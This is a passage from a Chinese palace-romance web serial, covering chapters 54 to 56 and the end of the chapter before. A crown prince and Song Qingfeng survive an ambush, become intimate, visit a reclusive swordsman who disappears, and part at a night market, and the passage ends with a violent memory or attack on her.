“这追影里面藏着无数的小针,速度极快,正常人难以发觉,因此取名追影。此物更大的威胁却是,它入体之后,会顷刻间爆裂,中了针的伤口,便是方才那番模样。” 宋轻风抓住他的手,仔细瞧向这金色的手镯。 翻来覆去瞧了好一会才道:“这么厉害!这针多如牛毛,却这么大的威力,是怎么制出来的?” 李岏拿了一阵针来,抓住她的手摊开来,小心翼翼放在她掌心道:“拿去玩,只是要小心。” 宋轻风得了针,很是开心,举在头顶对着太阳照了又照。 已是午后,此处山火已灭,方才的打杀痕迹都被侍卫们处理得干干净净。 只有风中留下难以琢磨的火油味。 宋轻风想起方才太子放追影的场景,忍不住道:“这么厉害的东西,你们若是人手造一个,那岂不是无敌了,还有那个北戎人,更是被打得落花流水。” 李岏失笑道:“普天之下,只有这一个。能制追影的大师,多年前就已去世。世间再不会有第二个。” “啊?那实在太可惜了。” 李岏摸了摸追影道:“说来,我这个还是旁人所赠。” “谁?” 李岏想起记忆里那个明媚鲜艳的女子,她利落地从马背上跃下,高耸的马尾在风中飞舞,弯下身来摸了摸他的头笑道:“我的名字叫白楚楚,你叫什么名字?” “白楚楚。” 宋轻风心口没来由地一跳,喃喃念叨着,这名字她从未听过,是陌生的,却一时有些头脑发晕,又觉得这名字似乎极耳熟,象在哪里听过,一时又觉得这名字这般普通,觉得耳熟也很正常。 李岏见她面色忽红忽白,漆黑的双眸里又是一片迷惘。 他心中一动,脑中有什么一闪而过。 方要开口,却听高守来道:“太子殿下,如今前路被山石拦住去路,您看接下来该如何安排?” 李岏道:“下山,按原计划走。” 山石堵住去路,只能靠人爬过去。 好在宋轻风一向体力好的很,跟着众人很快爬过了这片废墟之地。 前锋将行营安在了出山口。 而今后头山路被堵,旁边又是山,此处倒是成了天然的庇护场所。 今夜月明,李岏见宋轻风一人坐在一块大石头上比划着弩箭。 他索性也不进帐,不自觉地步子也跨了过来。 宋轻风瞧见他来,月色融融,面目柔和,一时将手中箭丢了下来。 拍了拍身侧的石头道:“您坐。” 石头冷硬,月色里瞧不清楚干不干净,李岏皱眉看了看,犹豫了一瞬便也撩衣摆坐下了。 夜色极为安静,圆月当空。 两人竟一时都没有说话。 今日一场刺杀,很快就被解决,连应对似乎都轻描淡写,可她方坐在这里一细想,却忍不住心惊。 这刺杀安排分明极为缜密。若不是今日对上的是他们,哪里能如此全身而退。 宋轻风忍不住问道:“您今日怎么也不留个活口啊?” “留活口做什么?” “自然是要让他招供,到底是谁想刺杀您呀!” 李岏冷白的嘴唇扯了扯,淡淡地道:“普天之下,敢刺杀孤的,还有谁?” 宋轻风目光扫向他的额头。 那里的伤口方脱了痂,皮肤比其他地方红一些,叫他本就俊美的脸,更多了几分风致。 他的双眸中却又一片冷漠。 李岏抱着手臂道:“有史以来,能登上帝位的太子,不足十之三四,而成不了皇帝的太子,下场可想而知,被囚禁一生都是最好的结局。” 宋轻风心口一堵,忙道:“呸呸呸!您这般厉害,一定是那十之三四。” 李岏转过头来看她,双眸中竟露出一丝笑来:“每个太子都是这般以为的。” 他的笑转瞬即逝。 宋轻风一向是爱他的笑模样,可他今日真笑了,她却开心不起来。 废太子的下场,她光听书都听过许多。 而面前这个真的太子,若是失败,不敢想这样的人一辈子被关在阴暗肮脏的地方受搓磨。 李岏却撑过手来,眸子定定地看着她道:“你后悔了?” 宋轻风见他贴身过来,他的气息,在这夜色里如丝丝缕缕,萦绕在身边。 她忍不住咽了咽口水道:“谁……谁后悔了?” 李岏一只胳膊便将她圈在身下,幽幽地道:“如今后悔也晚了。你是孤的女人,谁都能逃,你不能。” “我……我为何不……” 还未说完,他却已一把凑了过来,堵住了她的嘴。 他的唇冰凉又柔软,突如其来,让宋轻风触不及防。 她下意识想要推开,他却已伸出手来,一把攥住她的腰,将她紧紧地贴在身上。 她感受到他衣料下传来的温热,还有若有若无的心跳声。 他的唇起初是冰凉柔软的,可渐渐地变成了火热,他的力道也加重了,她挣扎着,想要从中获得片刻喘息,他却趁机深入,不让她有片刻的逃离。 唇齿间的纠缠炽热而霸道,彷佛要裹挟着她一起,不管到哪里去。 宋轻风大脑一片空白,满脑子只剩下他灼热的气息,她只能不自觉地抓紧他的衣袖。 直到他的手从腰间渐渐上移。 不知什么时候,她的腰带松了。 他滚热的掌心,如烙铁一般,便将她紧紧覆盖住。 宋轻风脑袋一嗡,下意识却贴得更紧了些。 她快要窒息而亡的时候,他终于松了嘴,手却没有要离开的意思。他一边深入,一边将嘴靠在她的耳边,幽幽地道:“我们去营帐。” 一声如醍醐灌顶,宋轻风惊悚地抬头。 方才还在营帐旁的一群侍卫,却都背对着站在了不远处。 虽然如此,她还是面色血红。还未反应过来,身体已是一轻。 李岏抱着她就往营帐里去。 方被放下来,他便已经覆身上来了。 正是云里雾里的危急关头,宋轻风却想起要紧事来,使出力气抵开了他的胸口。 李岏这才懊恼地想起此事。 他从太医那得知那避子汤药对女子的身体伤害大,此次出门,自然更不会带。 可低头瞧见两人已是这般情态,正是箭在弦上,而她两颊粉红,双眸如漾满了春水,朦朦胧胧地看着他。 想起上回在西山大营半路偃旗息鼓的可怕回忆,他一把顺着她的腰身伸出手去。 而后仔细瞧她细小的眉头紧紧攒着,吐气如兰,好一会才舒展开来,红唇咬得像要出了血。 李岏靠近了她,又咬住了她的唇,在唇齿间纠缠,而后一路转移。 一只手却探出来,紧紧抓住了她的手掌…… 昨日一役,失了好些马匹,连马车也被埋了。 不想一早起来,这些人却变戏法一般,又多了很多马。 李岏牵过其中一匹通体白色的马问道:“会骑马吗?” 这马生得极漂亮。 宋轻风却只看见他红润的唇开合着,一时面色血红。 李岏等不到回应,索性将马牵过来。 宋轻风抬眼间瞧见他牵着缰绳的手,白皙细长,指节如玉骨一般透明有力。 她面色更红,忙转过了目光。 一时上前好奇地摸了摸马的脖子,马儿便温顺地低下了头。 见它乖巧模样,宋轻风跃跃欲试地道:“大概会吧?” “大概?”李岏一时无言,好一会道,“与我同乘吧。” 哪知宋轻风却自己先一步蹬着马鞍上了马,双腿下意识一夹,马儿乖乖地前进了几步。 瞧起来倒也像模像样。 李岏见她双腿紧紧夹着马腹,身体在几个行动间轻轻跃起,他忙挪开目光,不再多言,也自上了马。 “晌午便该到了,回京的时候,再寻马车。” 宋轻风不记得自己骑过马,却在紧张又小心翼翼地骑行后,渐渐得心应手起来。 甚至觉得自己大概以前真骑过马。 一群人的速度也渐渐加快。 不知在荒野里跑了多久,李岏拍马上前,行到了最前面。 黑色的大氅飞扬在空中。 宋轻风抹了抹有些生疼的面颊,顺着他的方向,隐约瞧见远处的丛林中,立着一栋茅屋。 那茅屋与周围的草木浑然一体,轻易根本瞧不见。 高守拍马上前,低声与李岏道:“人在里头。” 李岏冷着脸并未说话。 在离那茅屋十丈开外的时候,他拉缰勒了马。 身后众人立即跳下马,自觉地散开,很快将那草屋团团围住了。 场中只余高守和宋轻风还在。 李岏转过头来看她,拉下了面巾,宋轻风瞧见他的脸有些发白,白皙细腻的皮肤在晌午的光线下有些透明。 她心中一愣,突然冒出奇怪的念头。 这个世界上,会有无缘无故长得这般像的两个人吗?甚至连红痣的位置都一样? 念头一起,将她自己都吓了一跳。 这么些天,她似乎都刻意忽略了这个问题。 而今他的眸子里,恢复了一贯的清冷,眉头如压着乌云。 不等他开头,宋轻风已道:“我不进去了,在外头等您。” 李岏不想还未开口,她居然先提了,当即点头道:“好。” 说着自己提步往茅屋去,高守在身后亦步亦趋地跟着。 宋轻风好奇地打量茅屋,瞧见这茅屋好似有三间,此刻门窗都闭着。 李岏走到门前,还未敲门,不想那门却从里头开了。 茅屋阴暗低矮,阳光都照不进,她只隐约瞧见一片红色衣角在门口一闪而过。 而后两人跟着进了屋。 支呀一声,门便又关上了。 这茅屋像是野兽的一般,人进去了便没了声息。 宋轻风在门口站了好一会,都听不见任何人声,连守在四角的侍卫,都安静地彷佛不存在一般。 她不知道太子跑这么远,来见这个人是想做什么。 自然他也不欲与她知晓。 宋轻风无聊地站得腿发酸,从怀里掏出块饼来啃,转头瞧见院子里有口井,便挪到井沿子坐了下来歇息。 井台子下一排黑蚂蚁正在飞快地爬着,她掰了块饼给蚂蚁,瞧它们兴奋地发疯往回搬,瞧得入了迷。 顺着蚂蚁弯弯曲曲的线路瞧去,却瞧见不远处,三块巴掌大的石头堆叠着。 最底下的石头最小,最上头的石头最大,歪歪扭扭,彷佛要倒的模样。 她手中的饼砰地落了地—— 作者有话说:不知道还有人不…… 晚安~ 第54章 第 54 章 寻一个人的下落 宋轻风蹲在一旁, 大气不敢喘,生怕呼出来的气将石头吹倒了。 屏住呼吸终于眼睁睁看着他将最后一块大石头叠了上去。 即便如此,由于最上头的石头过大, 低下的石头过小,石头们摇摇欲坠。 哪知晃悠了几下之下,这个石头小塔竟平稳住了。 “大功告成!”少年拍着手, 得意地笑起来。 宋轻风虽不知这是在做什么, 却也忍不住鼓掌道:“太好了!” 哪知她声浪过大,石头小塔晃悠了几下。 宋轻风浑身一吓, 停止了挪动蹲得发麻的腿,捂住嘴巴小声地道:“兰哥哥,你这是在做什么法术?” 兰哥哥哈哈笑道:“法术?这就是我们以后的守护神了。” 守护神? 不等他答话, 不知从何处跑来一只野狗, 架势十足,目露凶光。 宋轻风顾不得,一把躲到兰哥哥的背后。 那野狗饿得狠了,欲要冲上来, 可是瞧见面前的少年, 却生了怯意,夹着尾巴在旁边嗅了嗅,乌央乌央地又跑走了。 谁知石头塔在它的动作下, 摇摇晃晃地倒了地。 宋轻风气地一把从他背后跳出来,追着野狗要拼命。 兰哥哥却拉住她, 在破云庙的门口左右不显眼的地方, 都垒了这石头小塔。 宋轻风回过神来,果然瞧见不光井台边,那柴门旁几块石头滚落着。 显然因为方才他们一行人的到来, 而散了。 宋轻风晃悠悠从井台上站起身,却觉得手脚发麻,使不上力。 她盯着那紧闭的门,想起方才瞧见的一闪而过的衣角。 一块红色衣角。 是兰哥哥? 难道是真的是他? 可是怎么会? 宋轻风只觉得脑袋一阵轰鸣,眼睛都有些视线不清了,她咬牙挪动着发麻的腿往茅草屋去。 这几步路却不知走了多久,险些被地上的土坑绊倒。 等她站在门口,却不知高守何时出来了,正守在门边。 见惯了他平时护卫的模样,宋轻风只觉得他此刻浑身紧绷,手压在刀柄上,眼睛死死盯着关着的门,分明就是随时准备拼命的架势。 显然是这屋内的人,叫他紧张。 她心中愈发如雷鼓。 难道真的是兰哥哥!难道他没有死?! 兰哥哥剑术超群,而能叫高守这样的高手这般紧张的,自然也只有兰哥哥这样的人! 高守见她跌跌撞撞跑过来,面色慌张,方要伸手拦她,哪知宋轻风刚靠近,门却从里头“支呀”一声开了。 李岏站在门后,陡然瞧见她站着,双目血红,眼角含泪,不由一愣道:“怎么了?” 宋轻风却目光直直地略过他,瞧向他的身后。 屋内的一切都被他颀长的身型遮着。 可她却还是从一片黑暗里瞧见远处角落有个人。只是那人隐在帷幕后,只露出下半截的衣角来。 高守跟上来,似乎开口说了什么,可她的耳膜却被自己的心跳声震动,什么声音也听不见。 她一把跨进到了门槛,进到黑暗里。 茅草屋内的寒凉之气立刻涌上全身。 这寒气叫她忍不住抖了抖,原本只在手脚的麻意瞬间蔓延到全身。 她再不能忍,一把掀开帷幕,便瞧见那人的细长手指,提起手边案上的一个粗瓷碗,送到了唇边。 听闻人声,那粗瓷碗顿了顿,却又张嘴饮了。 宋轻风双目模糊,抖着腿走近。 茅屋没有窗户,屋内不见阳光。 他模糊的面目却渐渐清晰。 沈渭似乎对于这陌生女子的闯入毫无意外,他轻轻放下手中的粗瓷碗。 彷佛没有瞧见对面人异样的目光,嘴角扯着淡笑,声音轻柔:“这位姑娘,是有什么事吗?” 宋轻风这才瞧清面前的人。 是个容貌陌生的青年,眉目很清秀,脸上有些羸弱的苍白,嘴角挂着淡笑,瞧起来像是温顺的书生,可偏偏这温顺的书生,脸颊上却有一道半指长的刀疤。 生生将他的清秀破了三分。 他放下粗瓷碗,嘴角含笑瞧过来,让人觉得客气又疏离。 他的身上,有着莫名熟悉的气息,似乎像是兰哥哥? 可他不是兰哥哥。 宋轻风腿一软,扶住了一旁的门框。 这人是谁?为何在这里? 他的气质,与这茅草屋似乎格格不入,又似乎融为一体。 可他又为何会兰哥哥的石堆? 李岏瞧见她的异常,抓住她的手,才察觉出她手指冰凉刺骨,一时又轻唤道:“宋轻风?” 宋轻风闻言,愣愣的转过头来。 李岏瞧见她双颊上挂着泪,不由拧了眉头,瞧了瞧沈渭。 沈渭无辜地摊手道:“您瞧见了,我什么也没做。” 李岏看了他一眼,却未多问,拉住宋轻风就要往外走。 宋轻风却挣开他的手,问道:“门口的石堆是你摆的?” 沈渭看着她,挑了挑眉道:“不错,姑娘倒是眼力不错。” “你从哪里学会摆这样的石堆?” 沈渭抚了抚粗瓷碗,却笑了。 “这是再正常不过的三合塔,不过是粗陋的警示,又非我独创。我腿脚残废,龟居在此多年,总想要知道,都有哪些不速之客到来。” 说着不速之客,面上却毫无变色。 宋轻风这才发现他膝上盖着厚毯,从始至终都坐着,身下却是个木制的轮椅。 她心中倒是生了丝惋惜。 这人生得这般模样,一道伤疤也就罢了,却双腿都废了? 而一旁高守听闻他们说着石堆的话,脸上并无讶色,显然他说的是真的。 这不是什么独创的东西,也不是独属于兰哥哥。 只是她没见过。 宋轻风浑身一股气泄了,才感觉到一身的冷意,脑袋也耷拉下来。 李岏拉着她出了门。 这回宋轻风也不反抗,愣愣地跟着他。 直走到外面,中午热烈的阳光,刺在两人的面上。 温暖的阳光叫宋轻风双目有些刺痛,她从呆愣里回过神来,摸了摸脸颊,一片冰凉。 原以为李岏会追问她方才是怎么回事,可她一时心动神摇,无暇编谎应付。 哪知李岏只是看了她一眼,抿着唇却未说话。 回去的路上,侍从又不知从哪寻了辆马车来。 李岏回头看了看茅草屋,与高守吩咐道:“将周围的人都撤了,以后莫要来打搅他。” “是。” 两人坐在车上都没有说话。 宋轻风只顾埋着头发呆。 李岏也不知在想什么,将车窗拉着,看着窗外发呆。 走了不知多久,宋轻风突然抬头问道:“这人就是您说的故人沈渭?你说他消失多年,一直不见踪迹?” “嗯。” “您一直在寻他?” 李岏不妨她突然问这个,答道:“嗯,寻了多年无果,不想前些日子终于有了消息,但那时走不开,便命人提前守着。这么多年才有了他的消息,我不能错过这个机会。” “我能问一问,您为何要寻他吗?” 李岏明显沉默了,原以为他不会回答,好一会却他却又道:“我……我想找到一个人的下落。” 宋轻风没有追问是谁。 他却下意识摸了摸手腕上的追影,看着窗外道:“我不知道她是不是还活着,也不知道她而今是什么模样,只是想知道答案。若是,若是她还活着,我想见见她。” 说着转过头来,瞧见宋轻风一双黑澄澄的眼睛看着他。 他心中一动,若是她还活着,大概也会是这个模样? 宋轻风不知他口中的“她”是谁,也不知是男是女,是老是少。 但是她却想到一个问题,忍不住道:“您得到答案了吗?” 李岏道:“他说自己隐居在此多年,不知其他消息。” “然后?” “没有然后了。” 宋轻风却道:“那不对啊。” 李岏皱眉。 宋轻风道:“可我方才在井台边坐着,并未瞧出这井台边上有拉绳磨损的痕迹,按理说他腿脚不便还坐着轮椅,不该是这样的。” 李岏转头与高守道:“回去。” 高守忙调转马头,众人风驰电掣,很快又来到了茅屋外。 高守一个飞身下马,推开茅屋门。 很快又飞奔回来,站在车下,脸色紧绷道:“太子殿下,人不见了。” 李岏冷着脸,没有说话。 高守道:“臣之前查过,他的腿确实是废了,人应该走不远,臣带人去追!” 李岏却看了看茅草屋,摆手道:“不必了,走吧。” 宋轻风看着人去屋空的茅草屋,心中莫名有些空落落的。 突然后悔方才没有多与那人多说几句话。 他瞧起来很孤独的样子。 瞧向她的目光,清清淡淡的,没有多热络,却叫人挥之不去。 宋轻风见高守难得的紧张模样,忍不住问道:”他难道很厉害?比高守大人还厉害?“ 高守道:“那是自然,当年在下也只能望其项背,如今他虽双腿已废,却还是不可小觑。” 一行人直走到天黑下来,宋轻风才发现他们今夜却不用在野地里扎营了,已是来到了一个热闹的城镇。 这城镇没有宵禁,天黑下来,街道上都是人。 灯笼人流,吵闹的人声刹那间涌入耳朵,才将她从一个下午的发呆里拉回了神。 还未到客栈,李岏叫停了车。 他掀开车帘看了看外头热闹的人头济济道:“下去逛逛?” 宋轻风素爱热闹,此刻却有些无精打采地点头道:“好啊。” 两人下了车,混进人流里。 今夜不知是什么特别的活动,人头攒动,各处热闹不断。 李岏紧紧抓住她的手,只怕一个不慎两人就要被挤散了。 宋轻风终于被周围热烈的氛围感染,一路沿着摊贩,兴奋地左瞧瞧,又看看,遇见喜欢的东西,总要站着看上好一会,却又不买,又去看下一家—— 作者有话说:不好意思久等了,后面争取日更,晚安~ 第55章 第 55 章 我好像也是喜欢你的 两人直走到一个摊前, 宋轻风瞧见摊主一双巧手正捏面人,架子上摆着许多惟妙惟肖的面人。 她却瞧着其中一个面人出了神。 那面人玉面金冠,大红披风, 手中一柄贴了银箔的长枪,煞是威风凛凛。 这么巧的手艺,这回她倒是主动问了价钱。 摊主老头头也不抬地道:“十文, 现捏一个。” 宋轻风瞪眼道:“贵。” 老头抬起头来, 白着眼睛扫了她一眼,却一眼瞧见站在旁边的李岏, 不由道:“瞧你相公这身打扮,也不像是缺钱的主。” 相公? 李岏觉得手中握着的小手,温温热热, 动来动去, 挠得他心里痒痒的。 她拉着要走人去下一个摊,李岏却一动不动道:“你想捏个什么样的?” 宋轻风回转身来,这才想起旁边的人不是差钱的主。 夜灯拥挤的人流里,他换了一身素衣, 却难掩容色逼人, 肌肤都似范着晶莹的玉色柔光。 旁边经过的不管男女无不下意识地回头看他。 李岏察觉她在瞧自己发呆,下意识握拳在嘴边欲要轻咳一声。 果然宋轻风却与摊主道:“像长得这样好看的,能捏么?” “咳咳, ”李岏未溢出口的咳嗽再忍不住,眉心皱起低声道:“胡言。” 摊主眯着缝眼, 仔细打量了一眼道:“二十文!” “……” 紧随在身后的高守耳聪目明, 一眼瞧见场中状况,当即上前低声与李岏道:“殿下,属下来处理。” 太子殿下玉面, 寻常人都不可瞻仰,更遑论由这民间的摊贩随意临摹。 李岏却只做未闻,面上没有神色,只是冷冷地与摊主道:“快点。” 他这一声不轻不重,摊主却莫名觉得一股压力叫他心头一惊,当即连连点头道:“艾艾,好的!” 宋轻风好奇地凑上前去,见摊主一双粗手,在面团上左揉右捏。 很快这面团就隐约有了轮廓。 她瞧得入神,不一时也跟着摊主一起抬头瞧瞧面前的男子眉目,一时又低头去瞧面人。 李岏被两人一起抬起一起落下的目光瞧得浑身僵硬。 平日里很少有人敢这般目光直视他,今日这场景叫他很是不惯。 他心头觉得有些可笑,欲要抬脚走开,却脚下生了根一般,只是站着一动不动,下意识瞟向摊主翻飞的手指,和手指下变换着形状的面团。 他瞧不见,但是捏得这般快,能捏出什么好东西来。 旁边宋轻风撑着下巴凑着,满眼好奇地盯着,脸颊都有些发红。 不知过了多久,却见她指着面人道:“要唇角上扬才好看!” 摊主道:“你相公又没有笑!” 宋轻风抬头果然瞧见李岏还是冷着脸站在面前。 她咽了咽口水,可不敢说什么,他此刻能还站在摊主面前已经很给面子了。 摊主收了尾,飞快了取了根木签,将手中人形的面团插了上去。 面人便捏好了。 宋轻风接过面人,欲要给李岏瞧,却见他已抬步走到了一旁不远处,正看着路边灯笼上的字。 高守上前来付了钱,他个子高,眼睛大,也忍不住好奇地扫了一眼。 宋轻风瞧着面人,却与他道:“果然这人,只要眉目神态像,便像了七八分。” 高守瞧见这面人虽五官捏得不及殿下的十分之一,但是这眉眼,却是得了三分真传,摊主还贴心点了粒瞧不清的小红痣,瞬间整个面人竟一眼就瞧出是殿下来了! 他忍不住点头道:“确实如此。” 李岏见两人对着个面人窃窃私语,一时有些后悔方才行得早了一步。 此刻再上前来,又有些尴尬,正站着等两人上前来。 哪知宋轻风突然双目圆瞪,飞速地跑上前来。 李岏一紧,还未及反应,她却已一把抱住了自己。 力气大得险些要将他撞倒。 耳边一声尖锐的利刃刺破夜空的声音响起。 宋轻风闭着眼睛,原以为身上会传来刺痛,哪知耳边却爆发出热烈的喝彩声。 她好奇地自李岏身上抬起头,这才瞧见一个杂耍艺人,手中挥舞着双剑,正在灯笼的不远处卖力地表演。 围观的人群很快聚拢过来。 她不由尴尬地自李岏身上起身道:“方才,方才眼花了。” 方才她余光里,瞧见有剑光一闪而过,以为是又有人来刺杀太子,也不及思考便冲了过来。 她未细说,李岏却已明白了。 他心中一阵暗流涌动,低头瞧她。 方才她没命地跑过来,第一反应却是要用身体作为肉盾挡住他。 李岏喉结动了动,脸色却彻底冷了下来道:“方才若真是刺杀,你已没命了。” 宋轻风拍着胸口笑道:“还好只是虚惊一场,我也是一时晕了,忘记旁边还有高守大人这个高手在,他都没反应,怎么也不会是刺客……” 李岏却一把捞住了她的腰,将她紧贴过来,另一只手却按住她的后脑,迫使她看向他。 宋轻风一愣,见他面上一片冷凝,眼神也令人心中一寒。 不想他变脸变得这么快。 宋轻风还未开口,他已道:“以后即便是真的,也不许冲过来,明白吗?” 宋轻风道:“为何?” 李岏道:“我有一大帮侍卫在侧,还轮不到你为我拼命。” 宋轻风道:“可他们也有未及反应的时候,万一……” “没有万一,”李岏打断她道,“他们若疏忽职守,只有死,所以不会有万一。” “孤说什么,你只管做就是。” 哪知宋轻风此次却固执地道:“可是,这是我的选择,我说过我也愿意为你。唔唔……” 话还没说完,李岏却已一把封住了她的嘴。 此处到底是大庭广众,他原想一碰即分封住她这张不听话的嘴,可谁知一遭碰到这软糯的唇,他一时再舍不得分开。 忍不住辗转研磨,探入这花苞一般的柔唇里。 宋轻风推着他,想将他推开,可怜她力气太小,又被他紧紧箍住,半点使不上力。 不知过了多久,他才松了唇。 宋轻风一个劲地喘着气,却还是气喘吁吁地道:“即便如此我还是要说,不管如何,以后我也不能眼睁睁看你遇到危险的。” 她小小的脸仰着,面上一片陀红,双眸如含着水,语气却坚定得令人心酸。 这个世上,父母兄弟,手足朋友,他似乎全都没有。 还有谁是希望他好好的? 又还有谁,是不求回报,愿意这般对他? 她不过小小的一个人,无依无靠地进了京,更是手无缚鸡之力,却就敢这样冲进东宫,冲到他的身旁。 即便是自己什么也未给她,她却还是一片真心相待。 即便知道危险重重,还是第一时间冲到自己的面前。 李岏心中如塞了团棉花,即绵密又堵得慌。 一时竟不知是该继续威胁,还是…… 他几次张口又止,好一会才轻轻吐出三个字道:“宋轻风。” 宋轻风应道:“什么?” 李岏顿住了没了下文,低下头,看着素色衣裳的下摆,却终于恢复成了一个十八岁的少年人。 他面上有些发红,想了好一会才开口道:“我……我好像也是喜欢你的,好在我还未成婚,所谓的太子妃并没定下人选,你愿意……” 他抬起头,豁然发现面前居然空空如也! 并不见宋轻风的身影。 李岏的话卡在了嘴边,她何时离开了? 宋轻风跌跌撞撞地拨开人群,往前跑去,耳边只余风声,鼎沸人声似乎已很遥远。 她方才朝太子冲过来时,一时激动将面人落了地。 正反应过来弯腰去捡,哪知余光却在匆匆的人群里,瞧见一片袍角一闪而过。 那袍角翻起的角度,袍下鞋子走路的姿势,都熟悉地令她心惊。 她慌忙地抬起头,便瞧见一个白色衣裳的人影,正与她反向而去。 那人影一头黑发用根花枝简单地挽着,倒有大半披撒在肩上,行动间轻轻飘动。 夜里的街道,即便挂满了灯笼,他的背影却还是朦胧地如覆了层轻雾,瞧不真切。 宋轻风隐约瞧见他手里拧着个酒壶,一路走一路喝。 在无数个梦里,他便是这般,喜欢一手拧着酒壶,一手晃荡着。 腰侧的长剑,在行动间发出好听的微鸣。 是他,是他。 是他。 宋轻风不停地与自己道,他没有死。 他还好好地活着。 她感到自己已失去了思考的能力,大脑里只余下一句话:快,快。 追上他。 她挽起裙摆就往那个方向发足狂奔,用力拨开挡在面前的人群。 可是人流太多,他的背影忽隐忽现,很快就失去了踪迹。 宋轻风死死地盯着他背影消失的方向,飞奔而去—— 作者有话说:晚安~ 第56章 第 56 章 江南来信 李岏转头四顾, 人潮涌动,夜色姣姣,哪里还有宋轻风的身影? 他心头划过一丝从未有过的茫然。 方才两人那般, 高守已回避到旁边去了。 而今见这情形,他心中一惊忙招了隐在人群里的侍卫。 问完这才与李岏禀告道:“殿下,宋娘子似乎瞧见了什么人, 急匆匆地似乎去找人了, 已有一人跟着了。” 李岏长身立着,街道上依旧热闹异常, 人人脸上都挂着笑。 每一个却都是陌生的面容。 正面走来一个十几岁的年轻姑娘,手中欢喜地拿着面人,依偎在旁边青年的身旁。 高守也瞧见了那面人, 却指着不远处的面人摊道:“方才属下查问了一下, 那面人摊主,便是从安西来的。此处沧河郡虽离安西远些,却安置了不少从安西四镇来的灾民。” “说来宋娘子许是瞧见了以前的熟人。” 他想了想又补充道:“只是她行得这般匆忙,连招呼都不打一声, 想来这熟人只怕不一般呢。” 说完却见殿下面色不对, 瞧向他的目光都泛着冷。 “你觉得,会是怎么不一般呢?” 高守并未察觉殿下的语气有些不一样,只是殿下既问了, 他便认真想了想,斟酌着回道:“以属下的认为, 这般重要的人, 无外乎有三种,仇人,亲人, 再或者……爱人。” 他越说越觉得不错,又分析道:“就宋娘子这般小女子,哪里能有什么仇人,说到亲人,宁安侯还在挖河工,侯府里那帮人还在在京师里参加宴会,那最有可能嘛就是……” “闭嘴!” 李岏咬牙道。 他心口堵得慌,只觉得周围太过嘈杂,高守的声音更是吵得他耳朵疼。 “既瞧你话多得说不完,便连说三日三夜不许歇。” 高守一吓,忙紧紧闭上嘴巴,高大的身型耷拉下来,再不敢发一个字,心中有些委屈的想,不是您让我分析的么。 李岏紧握了掌心。 宋轻风回京师前的底细,早有人调查了清楚,跟着她入东宫时,一并就送到了自己的案前。 只是那时他不想看。 而今,心中却有些后悔那时没有看。 她在安西漂泊多年,那些早早与她相识,陪她走过许多个年岁的人,都有谁? 她偶或提到安西的日子,那些人,是否叫她念念不忘。 但是像她这样的人,自然到哪都是叫其他人念念难忘的。 那她今日匆匆去寻的,又是谁? 若是寻到了人,她会不会…… 李岏猛然想起她曾说过以后要回安西的话,心头掠过一丝不安。 不自觉转向人潮中,并看不见半点熟悉的人影。 高守见他神色不对,又盯着远处,还是忍不住开口道:“属下这就叫人将宋娘子寻回来?” 李岏却道:“不必了。” 说完却挥手道:“再叫几个人去跟着,莫要有闪失。” 说完不等高守反应,他自先走了。 不过走了两步,便停在一个摊贩处。 摊位上红红绿绿,各种形状的糖,都是动物的模样。 甜丝丝的糖香飘入鼻端。几个小孩围在一旁,口水横流。 摊主是个年轻的女子,瞧见他这样的人站过来,忍不住面色发红,声音都细细小小的:“公子您买糖吗?很甜的很好吃的。” 李岏点了点头。 摊主包了一纸包的糖来,李岏接了拧在手里,沉甸甸的手感,伴着香甜。 他脑中却想到宋轻风看到这些糖时,一定兴奋地叫道:“太好吃了,我怎么没有发现!” 她一定很是懊恼,皱着眉头恨自己错过了这个糖摊。 摊主害羞地抬头,却见对面的公子还没有走,盯着自己腰间的荷包出神,一时更是羞怯,心道这位公子果然眼光好,瞧出我手巧,绣出来的荷包都与众不同。 哪知李岏却道:“你的荷包,为何是空的?” 摊主小声地扭捏道:“就是个配饰,若是装了东西,就不美了。” 李岏摇头道:“并非如此。” 宋轻风的荷包便一直都是鼓鼓的,走起路来摇摇摆摆。 他那夜不过随手给她带了一把糖,她还舍不得吃,便塞在里面鼓鼓囊囊的,还整日里都随身带着。 李岏忍不住扯了嘴。 曾经她的过去,并没那么重要。 而今,她喜欢的是自己。 他摸了摸手中的纸,索性顺着来时的路,一个个走了过去。 将宋轻风方才瞧得久些的东西,一一全都买了。 不一时,竟就抱了满怀,两只手搂着才能抱住。 高守要帮忙,哪知殿下看也不看他,他只能亦步亦趋地跟着,心中忍不住有些感慨,殿下竟然想着回京给人带礼物了么。 可是再瞧向殿下怀里都是一些奇奇怪怪的东西,一时倒是不解了。 若说这草编的小篮子,木头做的小秋千架尚可理解,可是那拇指大的小梳子是要给哪位?还有那小小的拨浪鼓,要送给谁家的孩子? 他跟着后头思来想去,想不出京中谁家新近得了孩子…… 宋轻风不知自己跑了多久。 直到周围人烟渐渐稀少,热闹的人群都被甩在了身后,夜风在耳边呼啸来去。 她恍惚回到很多年前,他出了门再没回来,自己也是这般跑了不知多久。 周边灯笼愈发的稀少,黑暗渐渐笼罩过来。 莫说是他,便是一个人影都没有。 她追了这么久,寻了这么久,却早瞧不见方才的人影。 宋轻风撑住膝盖,蹲下身来,忍不住大口地喘气。 看着手中已有些沾了土的面人,忍不住蹲下来就嚎啕大哭。 若是真的,若他真的还活着,自己怎么会寻了这么久,都没有寻到呢? 又是自己的一片想象,看花了眼。 毕竟这世上,总有许多相似的人,更何况只是一个相似的背影。 宋轻风突然想起太子。 她想到他似乎还站在原地,孤身一人。 方才自己跑得匆忙,他发现自己不见了,会不会也在很着急地找自己? 她这才抹了把眼泪,四处看了看,发觉自己早就跑出了街区,来到了一片陌生的巷道。 深不见底的巷道,如看不见的野兽。远处似乎有脚步声回荡在耳边,咚咚咚。 她顿时汗毛倒竖,忍不住浑身发颤。 她顾不得其他,转身就跑,一时也不辨方向只顾狂奔,跑了不知多久,感到那黑暗的巷子远离了自己,这才停下来。 可这一抬头,她彻底迷路了。 还没想好从哪里走,却突然感到一阵汗毛倒竖,还未反应过来,一只冰冷的手已捂上了嘴。 宋轻风来不及挣扎,那手便大力将她往旁边的巷子里拖去。 她已发不出声音,只觉得周围的一切天旋地转,寒风凛冽。 有无数的人声响在身后。 还有鲜血撒了一地。 她慌慌张张地跑两步摔一个跟头,可是黑黑的巷子,却似乎永远没有尽头。 等她再摔倒时,一把冰冷的手便掐上了她的咽喉,剧烈的疼痛蔓延,她再喘不上来气。 来人带着黑色的面巾,只一双眼睛如豺狼一般,狞笑道:“本来不想杀你,你既都瞧见了,还想往哪里跑,不如去陪你娘一起,母女路上好相伴。” 她双脚悬空,惊恐地挣扎。 最后一丝空气也被从胸腔里挤出来。 她知道自己就要死了。 